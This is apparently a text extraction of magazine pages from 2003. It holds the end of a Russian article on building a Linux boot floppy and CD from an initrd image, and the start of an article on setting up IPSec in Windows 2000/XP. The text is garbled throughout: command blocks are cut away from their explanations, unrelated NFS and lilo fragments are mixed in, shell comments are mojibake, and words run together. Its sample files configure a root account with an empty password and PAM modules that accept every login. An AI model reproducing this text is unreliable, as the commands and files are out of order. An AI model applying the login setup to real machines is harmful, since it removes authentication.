Как ядро определяет, какое устройство использоватьв качестве root-fs? Во-первых, исследуется параметр root(если ядру не передано никаких параметров, то оно начи-нает исследовать блочные устройства и ищет первую ext2-fs), далее используется параметр initrd (initial ram disk).

Внимание: для поддержки initrd необходимо включитьопцию Block devices → Initial RAM disk support.

Этот параметр указывает на компрессированную фай-ловую систему, которая распаковывается в память и ис-пользуется в качестве root-fs на этапе инициализации ядра(в дальнейшем корневая ФС может измениться, что полез-но, например, для загрузки модульного ядра, когда основ-ной корневой раздел имеет ФС, которая не вкомпилирова-на в ядро; в этом случае единственным выходом являетсясоздание initrd, содержащего необходимые модули).

Что представляет из себя initrd, и как его создавать? Насамом деле initrd – это обычное устройство, на которомрасположена корневая ФС. Создание ramdisk не должнопредставлять особых проблем. Для начала необходимосоздать некомпрессированный образ ram-диска (он дол-жен быть достаточных размеров, обычный размер – 3 Мб.):

Изначально мы заполняем весь образ 0, поэтому при сжа-тии лишние нули места занимать не будут (самая плохаяидея – копировать в образ /dev/random, т.к. никакому сжа-тию он не подвергается, и размер ram-диска может суще-ственно превышать фактический размер дискеты.

Далее создаем ext2fs (обратите внимание на число inode):

монтируем образ (в ядре должна быть включена поддер-жка loop devices – см. на странице Block devices -> Loopdevice support):

host hostname{[parameters]

}

/exports/debian nfs-client(rw,no_root_squash)

# rpc.mountd# rpc.nfsd

# rpcinfo -p# showmount --export

# mount -t ext2 /dev/fd0 /mnt/tmp# mkdir /mnt/tmp/boot# cp /boot/boot.b /mnt/tmp/boot

# cp /tmp/lilo.conf.tmp /mnt/tmp/lilo.conf# /sbin/lilo -v -C /mnt/tmp/lilo.conf -r /mnt/tmp

...cut...image=/vmlinuz...cut...

password="my_password"mandatory

# dd if=/dev/zero of=/tmp/initrd.img bs=1024 count=3072

# mke2fs -N 360 -m 0 /tmp/initrd.img

# mount -t ext2 -o loop /mnt/tmp /tmp/initrd.img

Page 50: 007 Системный Администратор 06 2003

48

администрирование

Кроме этого, необходимо настроить pam так, чтобы мож-но было заходить в систему, не вводя пароля (т.к. паролькак мера безопасности бесполезен на дискете, гораздо луч-ше, например, защитить образ при помощи пароля lilo):

После чего можно перейти к настройке стартовыхскриптов. Здесь есть два варианта:1) перекопировать /etc/inittab, /etc/init.d и /etc/rc.* на ram-

диск и удалить ненужные скрипты;2) создать свой inittab и простой стартовый скрипт (кото-

рый указывается в inittab директивой si::sysinit:/path_to_script), подобный следующему:

Не забудьте сделать этот файл исполняемым:

Необходимо также иметь файлы настройки термина-ла (termcap или база terminfo). В моей системе (Debian

/etc/pam.confOTHER auth optional /lib/security/pam_permit.soOTHER account optional /lib/security/pam_permit.soOTHER password optional /lib/security/pam_permit.soOTHER session optional /lib/security/pam_permit.so

/etc/rc#!/bin/sh# Óñòàíàâëèâàåì ïåðåìåííûå ñðåäû:PATH=/bin:/sbin:/usr/bin:/usr/sbin# Ìîíòèðóåì ôàéëîâûå ñèñòåìû:/bin/mount -av# Óñòàíàâëèâàåì èìÿ õîñòà:/bin/hostname floppy-dist# Íàñòðàèâàåì è çàïóñêàåì ñåòåâîé èíòåðôåéñ (åñëè ýòî íóæíî):/sbin/ifconfig eth0 192.168.1.1 netmask 255.255.255.0 ↵

broadcast 192.168.1.255/sbin/ifconfig eth0 up# Íàñòðàèâàåì ìàðøðóòèçàöèþ:/sbin/route add -net 192.168.1.0 netmask 255.255.255.0 ↵

gw 192.168.1.1# Äàëåå ìîãóò áûòü äðóãèå êîìàíäû, â çàâèñèìîñòè îò# íàçíà÷åíèÿ äèñòðèáóòèâàexport PATH

# chmod +x /mnt/tmp/etc/rc

# Ïóòü ê èíèöèàëèçàöèîííîìó ñêðèïòó:si::sysinit:/etc/rc# Çàïóñê /sbin/getty äëÿ âèðòóàëüíûõ êîíñîëåé (â äàííîì# ïðèìåðå 3, íî ìîæåò áûòü è áîëüøå, òîëüêî ó÷òèòå,# ÷òî óñòðîéñòâà ttyX äîëæíû íàõîäèòüñÿ â êàòàëîãå# /dev ram-äèñêà):1:2345:respawn:/sbin/getty 9600 tty1 linux2:23:respawn:/sbin/getty 9600 tty2 linux3:23:respawn:/sbin/getty 9600 tty3 linux# Ïåðåçàãðóçêà ïðè íàæàòèè êëàâèø Ctrl+Alt+Del:ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now

/etc/grouproot:x:0:daemon:x:1:bin:x:2:sys:x:3:tty:x:5:disk:x:6:lp:x:7:lpmail:x:8:

/etc/nsswitch.confpasswd: filesshadow: filesgroup: files

hosts: files

networks: filesprotocols: filesservices: files

Недавно я обнаружил одну занимательную вещь: еслисоздать 3 Мб ram-диск и записать на него 3 Мб данных, апотом стереть 1 Мб, то сожмется такой файл очень сла-бо, т.к. изначально весь образ был заполнен нулями, апосле удаления на месте файлов нули не пишутся, чтонамного уменьшает эффективность архивации. Поэтомудля экспериментов лучше не использовать образ, а по-колдовать где-нибудь на основной файловой системе, апотом все перенести на ram-диск при помощи cp с флага-ми -dpR (cp -dpR ./* /mnt/tmp).

После этого можно приступать к созданию файловойструктуры корневого раздела нашей дискеты. Для нача-ла создаем все необходимые каталоги:�/bin �/sbin�/dev �/tmp�/etc �/usr�/lib �/usr/bin�/proc �/usr/sbin�/root �/var

После этого необходимо скопировать все нужные дляработы устройства (ни в коем случае не копируйте слиш-ком много устройств, т.к. файлы устройств – настоящиепожиратели inode), следующие устройства обязаны при-сутствовать в системе:

То же самое проделываем для устройств /dev/mem, /dev/null, /dev/ram0.

Если необходим доступ к дискам, то также можно ско-пировать и файлы /dev/hd* (или /dev/sd* для SCSI-дисков).Если вы получите сообщение о нехватке места, то при-дется увеличить количество inode (необходимо пересоз-дать ext2fs с большим числом inode и повторить все опе-рации заново). После создания файлов устройств перей-дем к созданию файлов в каталоге /etc. Безусловно, этоодна из трудоемких операций, т.к. фактически мы созда-ем собственный дистрибутив с оригинальной конфигура-цией, но я все-таки попытаюсь как можно более наглядноописать основные вехи формирования этого каталога. Во-первых, необходимо создать /etc/passwd, /etc/fstab, /etc/inittab, /etc/groups, /etc/nssswitch.conf, которые могут выг-лядеть следующим образом:

# cp -dpR /dev/tty[0-6] /mnt/tmp/dev# cp -dpR /dev/fd0* /mnt/tmp/dev# cp -dpR /dev/console /mnt/tmp/dev# cp -dpR /dev/kmem /mnt/tmp/dev

/etc/passwdroot::0:0:root:/root:/bin/shdaemon:*:1:1:daemon:/sbin:/bin/shbin:*:2:2:bin:/bin:/bin/shsys:*:3:3:sys:/dev:/bin/shsync:*:4:100:sync:/bin:/bin/syncgames:*:5:100:games:/usr/games:/bin/shman:*:6:100:man:/var/cache/man:/bin/shlp:*:7:7:lp:/var/spool/lpd:/bin/shmail:*:8:8:mail:/var/mail:/bin/sh

/etc/fstab/dev/ram0 / ext2 defaults 0 1proc /proc proc defaults 0 0

/etc/inittab# Runlevel ïî óìîë÷àíèþ:id:2:initdefault:

Page 51: 007 Системный Администратор 06 2003

49№6(7), июнь 2003

администрирование

GNU/Linux) используется база terminfo, поэтому можнопросто скопировать нужный терминал на ramdisk:

Если планируется использование /etc/termcap, то про-сто скопируйте строки, относящиеся к терминалу linux изсуществующего файла на дискету.

Содержимое каталога /etc может сильно различатьсяв зависимости от того, для каких целей планируется сис-тема, но, в общем, должны обязательно присутствоватьвышеприведенные файлы. Далее необходимо занятьсятакже весьма трудоемкой частью работы – созданиемкаталогов /bin, /sbin и /lib. Из-за небольшого размера дис-кеты на неё весьма сложно записать полноценную систе-му, поэтому очень часто приходится пользоваться «куцы-ми» аналогами системных утилит. Один из самых извест-ных проектов – busybox, содержащий урезанные, но впол-не функциональные аналоги стандартных утилит (cd, ls,sh, vi, ifconfig и других). Эти утилиты содержатся в еди-ном выполняемом файле, на который обычно делают сим-волические ссылки примерно таким образом:

Для создания всех символических ссылок необходи-мо проинсталлировать собранный из исходников следу-ющим образом:

При добавлении исполняемых файлов на ram-диск, незабывайте проверять зависимости при помощи програм-мы ldd:

Эти библиотеки также необходимо скопировать на ram-диск.Обязательно необходимо наличие следующих файлов:

� /sbin/init (есть в составе busybox, но я бы рекомендо-вал воспользоваться полноценным init);

� /sbin/getty;� /bin/mount (busybox);� /bin/sh (я использовал ash(NetBSD sh) – классический

shell);� /bin/login.

Также весьма удобно наличие busybox. В папке /lib дол-жны быть по крайней мере 3 библиотеки:� /lib/libc.so.6 – стандартная библиотека СИ;� /lib/ld-linux.so.2 – библиотека димамического компонов-

щика ld;� /lib/libnss_files.so.2 – библиотека выбора сетевых служб

(используется libc для выбора способа аутентификации,без этой библиотеки вы не сможете пройти этап логина);

� /lib/libdl.so.2 – библиотека загрузки DLL (нужна для login);� /lib/libpam.so.0 – библиотека pam;

� /lib/libpam_misc.so.0 – библиотека pam, нужная для login;� /lib/libcrypt.so.1 – библиотека шифрования (также нуж-

на для login);� /lib/security/pam_permit.so – PAM-модуль, всегда под-

тверждающий права доступа.

При выборе busybox лучше отановиться на динамичес-ки скомпонованной версии (использующей библиотеку СИ),т.к. библиотеку СИ (более 1 Мб) все равно придется копи-ровать на ramdisk. При копировании библиотек учтите, чтобольшинство отображаемых библиотек являются сивмо-лическими ссылками, поэтому не забывайте скопироватьи ссылку, и файл, на который эта библиотека ссылается(копировать ссылку в этом случае надо с флагом -d). Есливаше ядро содержит модули, то не забудьте их скопиро-вать на ram-диск (лучше весь каталог /lib/modules/$KERNELVERSION/), также не забудьте скопировать ис-полняемые файлы insmod, modprobe, rmmod, lsmod иdepmod в каталог /sbin на ram-диске. После всей этой мо-роки делаем заключительные действия:

кроме этого, настриваем динамический компоновщик:

После этого отмонтируем образ:

сжимаем его при помощи gzip (bzip2 не подходит) и запи-сываем в какой-нибудь каталог:

и приступаем к записи дискеты, имея ядро и подготов-ленный образ...

Существует несколько способов записи автономнойдискеты, из них я расскажу о двух: использование заг-рузчика ядра (наиболее компактный метод) и использо-вание загрузчика syslinux (загрузка с дискеты ms-dos).

При использовании kernel-loader значительно услож-няется процесс настройки параметров ядра и изменениечего-либо на дискете. Преимущества kernel-loader – ком-пактность и отсутствие необходимости наличия файло-вой системы на дискете. Создание дискеты такого типатоже не представляет особых проблем: для начала копи-руем ядро на дискету, начиная с 0-го сектора:

Цифры означают, сколько блоков заняло ядро. Знак «+»значит, что ядро заняло 384 полных блока и 1 неполный.Root-fs может размещаться с 385 блока соответственно. Этуцифру надо запомнить, а еще лучше – записать, т.к. в даль-нейшем она нам еще пригодится. На следующем этапе не-обходимо чуть-чуть поколдовать с настройками ram-диска:

# mkdir -p /mnt/tmp/etc/terminfo/l# cp /etc/terminfo/l/linux /mnt/tmp/etc/terminfo/l/linux

# cd /mnt/tmp# ln -s bin/busybox bin/cd# ln -s bin/busybox bin/ls

# make PREFIX=/mnt/tmp install

(debian:/etc)# ldd /sbin/initlibc.so.6 => /lib/libc.so.6 (0x4001d000)/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

# mkdir -p /mnt/tmp/var/{log,run}# touch /mnt/tmp/var/run/utmp

# ldconfig -r /mnt/tmp

# umount /mnt/tmp

# gzip -c9 /tmp/initrd.img > ~/initrd.gz# rm -f /tmp/initrd.img

# dd if=/usr/src/linux/arch/i386/boot/bzImage of=/dev/fd0 bs=1k384+1 ïðî÷èòàíî áëîêîâ384+1 çàïèñàíî áëîêîâ

Page 52: 007 Системный Администратор 06 2003

50

администрирование

способом создания boot-дискеты все ясно, настало времярассказать и о другом: о создании msdos-дискеты c Linux.

Для этой цели существует специальная утилита –syslinux(домашняя страница: http://syslinux.zytor.com/), которая по-зволяет обойти обычный процесс загрузки ms-dos, запус-кая ядро Linux. Настройка syslinux весьма похожа на настрой-ку lilo: создается конфигурационный файл, описывающийобразы, расположенные на диске. При этом доступно весь-ма большое количество параметров, но нас будут интересо-вать только те параметры, что отвечают за загрузку ядра,передачу ему (ядру) аргументов и загрузку initrd. Итак, опи-шу все стадии правильной подготовки ms-dos дискеты:� форматируем дискету, не проверяя сбойные сектора:

� проверяем сбойные сектора:

� создаем файловую систему (FAT12 в данном случае)с меткой “boot” и указываем обнаруженные сбойныесектора:

� далее записываем syslinux на дискету (появится файлldlinux.sys):

� копируем ядро и initrd:

� после этого составляем примерно такой конфигура-ционный файл:

Обратите внимание на структуру описания ядра:

Здесь initrd передается в качестве аргумента для ядра.Примерно таким же образом можно использовать загруз-чик lilo. Преимущество у syslinux перед lilo одно: конфигу-рационный файл syslinux можно править непосредственнов ms-dos (windows). Также можно создавать загрузочныедискеты Linux, находясь в ms-dos, т.к. существует syslinux,запускающийся под досом. Для более подробной инфор-мации о syslinux читайте документацию (man syslinux).

# fdformat -n /dev/fd0

# badblocks /dev/fd0 > /tmp/fd0.bad

# mkfs.msdos -l /tmp/fd0.bad -n boot /dev/fd0

# syslinux /dev/fd0

# mount /dev/fd0 /floppy# cp /usr/src/linux/arch/i386/boot/bzImage /floppy/vmlinuz# cp ~/initrd.gz /floppy/

# vi /floppy/syslinux.cfgsyslinux.cfg:

default linuxprompt 1

label linuxkernel vmlinuzappend initrd=initrd.gz

label ìåòêàkernel ôàéë_ÿäðàappend îïöèè_ÿäðà

Указываем, что ram-диск будет размещаться на том жеустройстве, что и образ ядра (вообще команда rdev ис-пользуется в случаях, когда ядро и корневая FS находят-ся на разных дисках).

Указание того, что ram-диск должен использоваться в ка-честве корневой файловой системы (опция -R должнабыть написана именно так: с большой буквой R).

Далее мы должны указать маску ram-диска, чтобы ядрознало, где найти этот диск. Маска представляет собой 16-ти разрядное значение, в котором 10 бит представляютсобой начальный блок ram-диска, бит 14 означает, долженли быть загружен ram-диск, а бит 15 говорит о необходи-мости вывода подсказки перед загрузкой initrd. Чтобы неутомлять читателей расчетами, просто скажу, что если initrdрасположен на одной дискете с ядром, то это значение рас-считывается как block_of_kernel + 16384, а если initrd запи-сан на другой дискете, то этот параметр имеет фиксиро-ванную величину – 49152 (установка в 1 14 и 15 битов), асам ram-диск записывается на другую дискету, начинаятакже с 0-го сектора. Приведу пример для ситуации, когдаядро и ramdisk размещаются на одной дискете:

если кто-то умеет складывать такие числа в уме (я неумею), то для него эта команда будет выглядеть так:

После того как ядро узнает, где расположен initrd, можноспокойно записывать наш компрессированный образ на дис-кету (в нашем примере образ записывается сразу же послеядра, ну а если initrd планируется разместить на другой дис-кете, то образ записывается с 0-го блока соответственно):

Подождем, пока запишется образ, и перезагрузимся с дис-кеты. Если все прошло нормально, то можете вздохнутьспокойно и гордиться тем, что вы создали свой собствен-ный, пусть маленький, но настоящий дистрибутив Linux!

Если же возникли ошибки, то придется повторять вы-шеописанные действия, пока эти ошибки не будут исправ-лены. Если вам необходимо поправить initrd, то учтите, чтовсе изменения, которые вы проделываете в корневом раз-деле непосредственно при работе нашего floppy-дистри-бутива, не сохраняются нигде, и при рестарте будут утра-чены, так что единственным способом поправить что-либоявляется редактирование образа (естественно, для нача-ла образ нужно разжать и примонтировать) с последую-щей записью его на дискету (новый образ можно писатьпрямо поверх старого, не меняя при этом параметров ram-диска, единственное условие: чтобы новый образ писалсяс того же блока, что и старый). Ну что ж, думаю, с этим

# rdev /dev/fd0 /dev/fd0

# rdev -R /dev/fd0

# rdev -r /dev/fd0 `expr 16384 + 385`

# rdev -r /dev/fd0 16769

# dd if=~/initrd.gz of=/dev/fd0 bs=1k seek=385

Page 53: 007 Системный Администратор 06 2003

51№6(7), июнь 2003

администрирование

В общем случае выбор загрузчика будет определятьсяконкретными целями. Но учтите, что самый экономичный(хотя и менее гибкий) способ – использование kernel loader.

Для некоторых целей объема и скорости дискеты явнонедостаточно. В таких случаях идеально использоватьзагрузочные CD-диски. О том, как создавать такие дис-ки, и пойдет дальше речь.

Я буду предполагать, что ваш CD-Record привод рабо-тает правильно под Linux (если нет, то почитайте CD-Writing-HOWTO: http://www.guug.de/~winni/linux/). Для со-здания bootable CD существует особое расширение фор-мата iso9660. Новые версии mkisofs умеют работать с этимрасширением, для очень старых версий необходим патч.

Самый простой способ – записываем загрузочную дис-кету с загрузчиком, отличным от kernel loader (рекомен-дуется lilo), и с этой дискеты пишется образ:

После этого создается isofs:

После этого при загрузке с CD-ROM загружается ука-занный опцией -b образ дискеты. Файл boot.catalog со-здается mkisofs автоматически, т.к. этот файл необходимпо стандарту (как я понял, для создания multi-boot CD).На самом CD может оказаться удобным разместить фай-ловую систему /usr, т.е. на дискете миниатюрный наборнеобходимых программ, а на самом компакте – основнойдистрибутив (не забудьте включить поддержку файловойсистемы iso9660 в ядре). Для организации такого поведе-ния скопируйте все необходимые файлы на CD, с которо-го будет осуществляться загрузка:�/bin �/sbin�/lib �/share�/libexec �/src�/local �/tmp

Обратите внимание на отсутствие префикса /usr. Призагрузке дискеты можно примонтировать CD вручную:

Или сделать запись в /etc/fstab на дискете:

В общем, ничего сложного в создании CD-дистрибу-тива нет. Все сводится к подготовке правильного загру-зочного образа и формировании необходимых программ,размещающихся непосредственно на CD. Запись загру-зочного образа ничем не примечательна:

Единственную трудность представляет, пожалуй, со-здание мульти-загрузочного диска. Я решил не описы-вать этот процесс в данной статье, т.к. сам недавно уви-дел статью «Изготовление мульти-загрузочного CD-дис-ка» в русской Linux Gazette. Статья написана очень гра-мотно и поможет решить любые вопросы.

Поэтому в этой статье я не буду цитировать чужуюпубликацию, а просто дам ссылку на вышеупомянутуюстатью: http://gazette.linux.ru.net/.

Итак, на этом я завершаю своё небольшое руковод-ство и привожу список полезных ссылок и полезных до-кументов:1. http://www.tldp.org – здесь могут быть найдены Linux

Boot Disk HOWTO, CD-Writing-HOWTO.2. http://syslinux.zytor.com/ – сайт syslinux.3. http://www.linuxlots.com/~fawcett/yard/index.html – набор

утилит для восстановления системы.

Список ресурсов, где могут быть найдены образы заг-рузочных дискет и дисков различного назначения:1. http://www.linuxlinks.com – огромный архив ссылок на

проекты различных мини- и микро-дистрибутивов(очень полезно посмотреть!)

2. http://www.toms.net/rb/ – Tomsrtbt мини-дистрибутив, со-держащий утилиты по восстановлению данных.

3. http://www.liap.eu.org/ – LIAP, «Linux в пилюлях» – сайтсодержит множество образов 1.44MB’ых дискет с раз-личными утилитами и разными версиями ядра дляборьбы со всякого рода неприятностями.

4. http://www.ibiblio.org/pub/Linux/system/recovery/ – огром-ный архив всякого рода утилит и загрузочных образовдля восстановления.

# cp /dev/fd0 /cd-iso/boot/boot.img

# cd /cd-iso# mkisofs -r -b boot/boot.img -c boot/boot.catalog ↵

-o bootcd.iso ./

# mount -t iso9660 -o ro,exec /dev/hd[b] /usr

/dev/hdb / is09660 ro,exec 0 0

# cdrecord -v speed=8 dev=0,0,0 /cd-iso/bootcd.iso

Page 54: 007 Системный Администратор 06 2003

52

администрирование

ИСПОЛЬЗОВАНИЕIPSec В WINDOWS 200x

МАКСИМ КОСТЫШИН

Page 55: 007 Системный Администратор 06 2003

53№6(7), июнь 2003

администрирование

После внедрения программных продуктов, предполага-ющих элементы сетевого взаимодействия, часто при-ходится сталкиваться с тем, что разработчики не уде-лили должного внимания вопросам обеспечения кон-фиденциальной передачи данных по физическим лини-ям, которые образуют канал связи между взаимодей-ствующими компьютерами. Общим решением такогорода проблем может являть создание VPN-соединенийна основе имеющихся международных стандартов. Ука-занная возможность реализована в операционной сис-теме Windows200x/XP.

Информация, изложенная в данной статье, предназ-начена для тех, кого интересуют вопросы реализации за-щиты информации с использованием VPN-каналов наоснове IPSec-протокола. Протокол IPSec и его состав-ляющие закреплены в группе рекомендаций RFC (Re-quest for Comments) 2401 – 2412, опубликованных в но-ябре 1998 года. Описание конкретных решений позво-лит от рассмотрения теоретических аспектов виртуаль-ных приватных сетей перейти к практическим моментамих использования. Пользователи операционной систе-мы Windows 200x/XP, следуя подробным инструкциям,приведенным в статье, смогут реализовать защищеннуюсвязь между компьютерами.

Справедливости ради следует отметить, что подоб-ные решения имеются и могут быть использованы надругих платформах, между различными операционны-ми системами.

Для компьютеров, на которых невозможно установитьОС Windows200x/XP, можно применять средство PGPnetVirtual Private Networking. В качестве примера взаимо-действия реализации стандарта IPSec на различных опе-рационных системах может быть предложен вариант ис-пользования IPSec-протокола между Windows 2000 и опе-рационной системой семейства Unix FreeBSD (см. ста-тью Станислава Лапшанского «IPSec-соединение меж-ду FreeBSD и Windows 2000» – http://www.opennet.ru/base/net/bsd_win_vpn.txt.html).

В недавно представленной Microsoft для широкой пуб-лики Windows 2003, подходы по организации защищен-ного соединения на основе IPSec не претерпели (по край-ней мере, видимых) существенных изменений и абсолют-но совместимы с Windows 2000.

В изложенном материале для большей наглядностиприводятся иллюстрации для русской версии Windows2000 Professional, однако названия пунктов меню, окон идр. элементов интерфейса приводятся как для русского,так и для англоязычного интерфейса.

До начала рассмотрения практических вопросов отме-тим, что для операционной системы Microsoft Windows 2000рекомендуется обеспечение поддержки 128-битногошифрования данных. Для этого должны быть установ-лены либо Service Pack 2 для Windows 2000, либо HighEncryption Pack.

Service Pack 2 можно загрузить с сервера Microsoft:ht tp: / /www.microsof t .com/windows2000/downloads/servicepacks/sp2/default.asp.

High Encryption Pack можно загрузить с сервера Microsoft:ht tp: / /www.microsof t .com/windows2000/downloads/recommended/encryption/.

Обращаем внимание на то, что для возможности вне-сения изменений в настройки Windows, описанные ниже,пользователь должен иметь права администратора.

Подход, предлагаемый Microsoftдля использования межкомпьютерныхсоединений по протоколу IPSecв доменеПосле стандартной инсталляции Windows 200x/XP в опе-рационной системе предлагаются три варианта на-стройки для организации защищенного IP-канала – по-литики безопасности IPSec (смотри рис. 1) в рамках од-ного домена:� Сервер (Server) – для всего трафика IP всегда зап-

рашивает безопасность с помощью доверия Kerberos.Разрешает небезопасную связь с клиентами, которыене отвечают на запрос;

� Безопасность сервера (Secure Server) – для всегоIP-трафика всегда запрашивает безопасность с помо-щью доверия Kerberos. Не разрешает небезопаснуюсвязь с недоверенными клиентами;

� Клиент (Client) – обычная связь (небезопасная). Ис-пользует правило ответа по умолчанию для согласо-вания с серверами, запрашивающими безопасность.Только запрошенный протокол и трафик с этим серве-ром будут безопасными.

Ðèñóíîê 1. Îñíàñòêà «Óïðàâëåíèå ïîëèòèêîé áåçîïàñíîñòè IP», èñïîëüçóåìàÿ äëÿ íàñòðîéêè â Windows IP-áåçîïàñíîñòè (IPSec).

Page 56: 007 Системный Администратор 06 2003

54

администрирование

После установки операционной системы ни одна изполитик не назначена. Пользователь может активизировать(назначить) одну и только одну из существующих политик.

Ниже, в качестве справочной информации, приводят-ся настройки, которые используются Microsoft в операци-онной системе Windows 200x/XP для трех стандартныхвариантов политики безопасности IPSec. Подробные по-яснения можно найти далее в описаниях настроек присоздании новой политики безопасности.

При изучении вопросов, связанных с установлени-ем защищенного соединения IPSес, обратим внимание,что индивидуальные рекомендации необходимы дляслучая, если компьютер, который необходимо задей-ствовать в схеме защищенного соединения, имеет не-сколько IP-адресов. Кроме того, для случая работы вдомене локальная политика безопасности компьютераможет перекрываться политикой безопасности, опре-деляемой контроллером домена.

Назначение и отключениеIPSec-соединения с использованиемстандартных настроек WindowsДля организации аутентифицированного и закрытогообмена данными между двумя компьютерами по про-токолу IPSec необходимо активизировать на одной сто-роне политику Безопасность сервера (Secure Server),на другой – Клиент (Client) в разделе Политики безо-пасности IP на «Локальный компьютер» (IP SecurityPolicies on Local Machine). Это можно сделать, выб-рав пункт локального меню (вызываемого по правойкнопке «мыши») Назначить (Assign), предварительновыбрав строку с нужной политикой. Приложение Ло-кальные параметры безопасности (Local SecuritySettings) можно активизировать, выбрав одноименныйподпункт меню Пуск → Настройка → Панель управле-ния → Администрирование (Start → Setting → ControlPanel → Administrative Tools).

Обратите внимание на то, что стандартные политикипредназначены для использования в рамках одного до-мена. В противном случае защищенное соединение небудет установлено.

Отметим, что связывающиеся стороны должны быть

уверены, что настройки используемых политик осталисьнеизменными с момента установки операционной систе-мы. Вместе с тем теоретически существует ненулевая ве-роятность, что после выполнения согласования поддер-живаемых криптографических алгоритмов и ключевыхданных, соединение будет организовано только с исполь-зованием протокола аутентификации (AuthenticationHeader – АН), которое предполагает активизацию меха-низмов только авторства и целостности передаваемыхпакетов, в то время как само содержимое пакетов будетпередаваться по сети в открытом виде. Это создает пред-посылки к тому, что все данные, которыми обмениваютсякомпьютеры, организовавшие «защищенный» канал, бу-дут перехвачены.

Чтобы удалить назначение политики IPSec, щелкни-те на активной политике правой кнопкой «мыши» и вы-берите команду Снять (Un-assign). Кроме того, можноотключить на компьютере службу Агент политики IPSEC(IPSEC Policy Agent). Это позволит обеспечить гаран-тированное отключение использования политики безо-пасности IPSec, которая может управляться на уровнеконтроллера домена.

Тестирование установленияIPSec-соединенияДля проверки правильности настроек политики безопас-ности, активизируйте установку защищенного соедине-ния, выполнив следующие шаги на одном из тестируе-мых компьютеров:� Вызовите командную строку, выполнив запуск про-

граммы cmd.exe, выбрав меню Пуск → Выполнить…(Start → Run...) или выбрав подпункт Командная стро-ка (Command Promt) меню Пуск → Программы →Стандартные (Start → Program → Accessories).

� Запустите команду ping с IP-адресом другого тестиру-емого компьютера. Установка защищенного соедине-ния требует времени, поэтому при первой попытке от-зыв от сервера не будет получен.

� Повторите команду ping.

На рис. 2 показан протокол работы двух последова-тельных вызовов команды ping.

Òàáëèöà 1. Íàñòðîéêè ñòàíäàðòíûõ ïîëèòèê áåçîïàñíîñòè IP â ÎÑ Windows 200x/XP.

Page 57: 007 Системный Администратор 06 2003

55№6(7), июнь 2003

администрирование

МониторингIPSec-соединенияВ состав Windows 2003 стандартное средство IPSecMonне входит, потому все изложенное ниже в данном пунктеможет быть применено только для Windows 2000/XP.

Для опытных пользователей для варианта Windows200x Server для использования может быть предложе-на стандартная Windows-компонента «Средства сете-вого монитора», позволяющая просмотреть все нюан-сы установки защищенного соединения на уровне дан-ных IP-пакетов, а также 100% удостовериться, что в зак-рытости содержимого IP-пакета после установки защи-щенного соединения.

В данной статье описание работы с сетевым мони-тором в разрезе применения IPSec-протокола не при-водится.

Для выполнения контроля защищенного обменаможно использовать утилиту Монитор IP-безопаснос-ти (IP Security Monitor), активизируемую при вызовеприложения IPSecMon.exe. Эта утилита показывает на-личие и, самое главное, параметры установленных сиспользованием протокола IPSec защищенных IP-кана-лов (см. рис.3).

С помощью кнопки <Параметры...> (Options...)уменьшите время обновления с 15 до 1 секунды, чтобыполучать в каждый момент актуальную информацию осостоянии IPSec-соединения.

Включение аудитапри выполнении политикибезопасности IPНастойчиво рекомендуем включить протоколирование ре-гистрации пользователей (включения аудита входа в сис-тему для локального компьютера). Для этого необходимоактивизировать приложение Локальная политика безо-пасности (Local Security Setting) в разделе Админист-рирование (Aministrative Tools) и выберите в дереве вет-ку Локальные политики (Local Policies) → Политикааудита (Audit Policy). Выделите пункт События регист-рации аудита (Audit Logon Events). В открывшемся окне(см. рис.4) выберите в разделе Настройка локальной по-литики (Local Policy Setting) пункты Успех (Success) иНеудача (Failure).

Настройкиновой политикибезопасности IPДля настройки новой политики ниже будет подробно опи-сана последовательность действий, определяемая следу-ющими шагами:� Создание новой политики безопасности IP;� Определение нового правила:

� Списка IP-фильтров (назначение используемых се-тевых протоколов и адресов взаимодействующиххостов);

� Действия фильтра (выбор используемых криптог-рафических алгоритмов);

� Методов проверки подлинности (назначение спо-соба установления доверительных отношений меж-ду компьютерами);

� Типа подключения (удаленный доступ, локальнаясеть);

� Параметров туннеля (использовать или нет тун-нельный вариант протокола IPSec).

Ðèñóíîê 2. Âûïîëíåíèå êîìàíäû ping ïðè ñîãëàñîâàíèè ïîëèòèêèáåçîïàñíîñòè.

Ðèñóíîê 3. Âèä ãëàâíîãî îêíà ïðîãðàììû«Ìîíèòîð IP-áåçîïàñíîñòè».

Ðèñóíîê 4. Âêëþ÷åíèå àóäèòà äëÿ ñîáûòèé ðåãèñòðàöèèïîëüçîâàòåëåé â ñèñòåìå.

Page 58: 007 Системный Администратор 06 2003

56

администрирование

В предлагаемом варианте не используется метод про-верки подлинности Kerberos, установление защищенно-го обмена осуществляется на основе прописываемой вустановках обоих компьютеров одной и той же «секрет-ной» строки. В связи с этим указанная схема защищен-ного соединения будет работоспособна при работе как вдоменной системе, так и в сети без домена.

Активизируйте приложение Локальные параметры бе-зопасности (Local Security Setting), выбрав подпункт Ло-кальная политика безопасности (Local Security Policy)меню Пуск → Настройка → Панель управления → Ад-министрирование (Start → Setting → Control Panel →Administrative Tools).

Создание новой политикиВ левой части окна Локальные параметры безопасности(Local Security Setting) выберите пункт Политики безо-пасности IP на “Локальный компьютер” (IP SecurityPolicies in Local Machine) и создайте новую политику либо«кликнув» на значке меню , либо выбрав пункт контек-стного меню (вызываемого при нажатии правой кнопки«мыши» в правой части окна) Создать политику безо-

пасности IP (Create IP Security Policy). При этом откры-вается окно Мастер политики IP-безопасности (IP SecurityPolicy Wizard). Щелкните <Далее> (Next) для перехода кследующему окну диалога (см. рис.6).

Ðèñóíîê 5. Îáùèé âèä ïðèëîæåíèÿ, îïðåäåëÿþùåãî ëîêàëüíûå ïàðàìåòðû áåçîïàñíîñòè.

Ðèñóíîê 6. Íà÷àëüíîå îêíî ìàñòåðà ïîëèòèêè IP-áåçîïàñíîñòè.

Ðèñóíîê 7. Îïðåäåëåíèå íàçâàíèÿ ïîëèòèêè áåçîïàñíîñòè.

Ðèñóíîê 8. Îêíî îïðåäåëåíèÿ àêòèâèçàöèè ïîëèòèêè ïîñëåçàäàíèÿ ïàðàìåòðîâ.

Page 59: 007 Системный Администратор 06 2003

57№6(7), июнь 2003

администрирование

Введите любое имя новой политики (см. рис.7) и, еслиэто необходимо, ее описание. Щелкните <Далее> (Next)для перехода к следующему окну диалога.

Отмените установку флажка Использовать правило поумолчанию (Activate the default response rule) (см. рис.8),в результате чего для данной политики можно будет опре-делить пользовательское правило. Щелкните <Далее>(Next) для перехода к следующему окну диалога.

